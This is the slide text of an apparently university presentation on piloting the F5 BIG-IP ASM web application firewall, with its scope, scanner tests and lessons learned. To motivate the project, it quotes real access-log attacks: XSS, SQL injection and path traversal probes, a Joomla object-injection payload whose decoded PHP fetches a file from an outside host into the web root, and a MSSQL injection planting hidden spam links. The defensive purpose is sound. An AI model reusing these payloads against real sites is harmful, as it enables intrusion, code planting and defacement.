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What is a web application firewall?

• Type of firewall that is specific to web-based 
(HTTP) applications.

• Provides protection from exploits and policy 
violations

• Can be:
• Network-based, host-based, or application code
• Appliance, server plugin
• General web traffic or application-tailored
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• This World Wide Web thing appears to be 
taking off

• But… we already have a firewall
• But… we use secure coding practices
• But… I’m not an interesting target
• Part of a defense-in-depth strategy
• Have you checked your logs lately?

Why a Web App Firewall?
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• 38.95.108.249 - - [22/Aug/2016:02:00:18 -0700] "GET 
/cms/openBrowser.php?url=\"onload=\"alert(/openvas-xss-
test/) HTTP/1.1" 404 217 "-" "Mozilla/5.0 [en] (X11, U; 
OpenVAS 7.0.10)" "-"

• 94.23.44.21 - - [23/Aug/2016:01:14:47 -0700] "GET 
/sites/redpath/images/view.php?lang=en&size=3&id=5826\"
%20and%20\"x\"%3D\"x HTTP/1.1" 200 820 "-" "Mozilla/4.0 
(compatible; MSIE 7.0; Windows NT 5.1; dial”

• 46.161.9.35 - - [20/Aug/2016:13:02:52 -0700] "GET 
/cms/wp-content/plugins/tinymce-thumbnail-
gallery/php/download-image.php?href=../../../../wp-
config.php HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 
6.1; rv:34.0) Gecko/20100101 Firefox/34.0"

I’m not making this up…
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• 5.101.156.30 - - [14/Aug/2016:04:35:26 -0700] "GET 
/XXXXX/index.php/ HTTP/1.1" 200 14544 "-" 
"}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:
\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1
:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabas
eDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\
";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:382:\"ev
al(base64_decode('JGZpbGVfbiA9ICcvaG9tZS9YWFhYWFhYL
3d3dy9jYWNoZS9jb21fcCRmaWxlX24gPSAnL2hvbWUvWFhY
WFhYWC93d3cvY2FjaGUvY29tX3BkZi5waHAnOyRmaWxlX2Q
gPSAnaHR0cDovL291dGNyZWF0ZXlvdXJyZWFsaXR5LmNvb
S9hZG1pbmlzdHJhdG9yL3NlLnR4dCc7JGZpbGVfZGF0YcKgP
SBmaWxlX2dldF9jb250ZW50cygkZmlsZV9kKTskaGFuZGxlID0
gZm9wZW4oJGZpbGVfbiwgJ3cnKTtmY2xvc2UoJGhhbmRsZSk
7JGRvd25sb2FkZWQgPSBmaWxlX3B1dF9jb250ZW50cygkZml
sZV9uLCAkZmlsZV9kYXRhKTs='));JFactory::getConfig();exit\";}i
:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}\xf0\xfd\xfd\xfd”

• $file_n = '/home/XXXXXXX/www/cache/com_p$file_n = 
'/home/XXXXXXX/www/cache/com_pdf.php';$file_d = 
'http://outcreateyourreality.com/administrator/se.txt';$file_data = 
file_get_contents($file_d);$handle = fopen($file_n, 
'w');fclose($handle);$downloaded = file_put_contents($file_n, 
$file_data);
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74.208.192.137 - - [23/Aug/2016:21:10:22 -0700] "GET 
/stuff/things/index.php?screen=secret_main&request=something'))%3bdeclare%2520@b%2520cursor%3bdecla
re%2520@s%2520varchar(8000)%3bdeclare%2520@w%2520varchar(99)%3bset%2520@b=cursor%2520for%2520select
%2520DB_NAME()%2520union%2520select%2520name%2520from%2520sys.databases%2520where%2520(has_dbaccess
(name)!=0)%2520and%2520name%2520not%2520in%2520('master','tempdb','model','msdb',DB_NAME())%3bopen%
2520@b%3bfetch%2520next%2520from%2520@b%2520into%2520@w%3bwhile%2520@@FETCH_STATUS=0%2520begin%2520
set%2520@s='begin%2520try%2520use%2520%255B'%252B@w%252B'%255D%3bdeclare%2520@c%2520cursor%3bdeclar
e%2520@d%2520varchar(4000)%3bset%2520@c=cursor%2520for%2520select%2520''update%2520%255B''%252BTABL
E_NAME%252B''%255D%2520set%2520%255B''%252BCOLUMN_NAME%252B''%255D=%255B''%252BCOLUMN_NAME%252B''%2
55D%252Bcase%2520ABS(CHECKSUM(NewId()))%25259%2520when%25200%2520then%2520''''''%252Bchar(60)%252B'
'div%2520style=%2522display:none%2522''%252Bchar(62)%252B''naprosyn%2520500%2520mg%2520''%252Bchar(
60)%252B''a%2520href=%2522http:''%252Bchar(47)%252Bchar(47)%252B''rileytech.net''%252Bchar(47)%252B
''page''%252Bchar(47)%252B''NaprosynNedir.aspx%2522%2520rel=%2522nofollow%2522''%252Bchar(62)%252B'
'''''%252Bcase%2520ABS(CHECKSUM(NewId()))%25253%2520when%25200%2520then%2520''''rileytech.net''''%2
520when%25201%2520then%2520''''rileytech.net''''%2520else%2520''''naprosyn%2520250%2520mg''''%2520e
nd%2520%252B''''''%252Bchar(60)%252Bchar(47)%252B''a''%252Bchar(62)%252B''%2520naprosyn%2520jel%252
0nedir''%252Bchar(60)%252Bchar(47)%252B''div''%252Bchar(62)%252B''''''%2520else%2520''''''''%2520en
d''%2520FROM%2520sysindexes%2520AS%2520i%2520INNER%2520JOIN%2520sysobjects%2520AS%2520o%2520ON%2520
i.id=o.id%2520INNER%2520JOIN%2520INFORMATION_SCHEMA.COLUMNS%2520ON%2520o.NAME=TABLE_NAME%2520WHERE(
indid%2520in%2520(0,1))%2520and%2520DATA_TYPE%2520like%2520''%2525varchar''%2520and(CHARACTER_MAXIM
UM_LENGTH%2520in%2520(2147483647,1))%3bopen%2520@c%3bfetch%2520next%2520from%2520@c%2520into%2520@d
%3bwhile%2520@@FETCH_STATUS=0%2520begin%2520exec%2520(@d)%3bfetch%2520next%2520from%2520@c%2520into
%2520@d%3bend%3bclose%2520@c%2520end%2520try%2520begin%2520catch%2520end%2520catch'%3bexec%2520(@s)
%3bfetch%2520next%2520from%2520@b%2520into%2520@w%3bend%3bclose%2520@b-- HTTP/1.1" 200 86491 "-" 
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0'));declare @b 
cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union 
select name from sys.databases where (has_dbaccess(name)!=0) and name not in 
('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while
@@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d 
varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''<div 
style=\"display:none\">naprosyn 500 mg <a href=\"http://rileytech.net/page/Naprosyn-Nedir.aspx\" 
rel=\"nofollow\">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''rileytech.net'''' when 1 then 
''''rileytech.net'''' else ''''naprosyn 250 mg'''' end +''''</a> naprosyn jel nedir</div>'''' else 
'''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN 
INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like 
''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into 
@d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin 
catch end catch';exec (@s);fetch next from @b into @w;end;close @b--" "__utma=-; __utmb=-; __utmc=-
; __utmk=-; __utmx=-; __utmz=-;"
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• <Insert Glossy Brochure Here>
• We already use F5 BIG-IP LTM

• Leverage investment in existing hardware
• Leverage existing in-house expertise
• Existing BIG-IPs already handle most of the critical 

web apps we want to protect
• SSL TLS termination point

Why F5 BIG-IP ASM?
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• Scope
• Main www.uvic.ca website
• CAS login page
• Some Self-server Banner 
• Pay pages
• Coursespaces (Moodle)

• Transparent vs Blocking
• Training
• Investigate other features (e.g. SMTP)
• Operational Processes
• Report and recommendations

Pilot Project
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Self-tuning –
there’s an app for
that
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Acunetix - ASM Transparent Mode
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Acunetix – ASM Blocking Mode
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Burp – ASM Transparent Mode
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Burp – ASM Blocking Mode
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Strutting your stuff
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• Implement in development stack
• Implement in test/preproduction stack
• Implement in production stack

• But

The plan
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• RFC’s matter
• Calculate content-length after deflate (Moodle!)
• Applications generally suck
• Use automatic policy building

• “trusted” IP addresses 
• Manual tweaks may be required
• Speed/accuracy of policy build on prod > dev/test

• Don’t use policies built in dev/test on production
• Move from transparent mode to blocking to 

achieve full benefit

Lessons
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</presentation>


